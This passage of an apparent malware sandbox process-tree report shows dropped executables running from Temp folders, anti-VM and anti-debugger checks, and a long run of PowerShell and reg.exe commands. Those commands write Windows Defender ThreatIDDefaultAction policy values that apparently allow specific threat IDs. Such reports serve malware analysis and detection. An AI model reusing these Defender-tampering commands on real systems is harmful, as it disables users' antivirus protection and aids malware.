                                                                                                                                                                        4⤵
                                                                                                                                                                        • Power Settings
                                                                                                                                                                        PID:4240
                                                                                                                                                                      • C:\Windows\system32\powercfg.exe
                                                                                                                                                                        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                                                                                        4⤵
                                                                                                                                                                        • Power Settings
                                                                                                                                                                        PID:1004
                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                        svchost.exe
                                                                                                                                                                        4⤵
                                                                                                                                                                          PID:4072
                                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                                      svchost.exe
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:3432
                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 3556 -ip 3556
                                                                                                                                                                      1⤵
                                                                                                                                                                        PID:4932
                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 3800 -ip 3800
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:4064
                                                                                                                                                                        • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:5356
                                                                                                                                                                          • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                            C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:5396
                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 5768 -ip 5768
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:2516
                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCA8.tmp\Install.exe
                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSCA8.tmp\Install.exe UV /Hdide 385132 /S
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                PID:5744
                                                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:3704
                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                      "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:3172
                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                          4⤵
                                                                                                                                                                                            PID:5740
                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:5804
                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:5404
                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:1212
                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:5816
                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:5208
                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:3104
                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:3152
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                    PID:5076
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                    • Identifies Wine through registry keys
                                                                                                                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                    PID:1020
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCA9.tmp\Install.exe
                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCA9.tmp\Install.exe om /jdideHr 525403 /S
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                                                    PID:2032
                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                                      PID:1224
                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:5784
                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                              PID:5428
                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:5756
                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:5408
                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:2804
                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:704
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:1020
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:5728
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:4540
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:3524
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:2752
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:5768
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:2324
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:5988
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:3704
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:5076
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:5708
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:5392
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:5996
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:5776
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:5092
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:5732
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:4232
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:5404
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:5916
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:1992
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:464
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:3184
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:5756
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
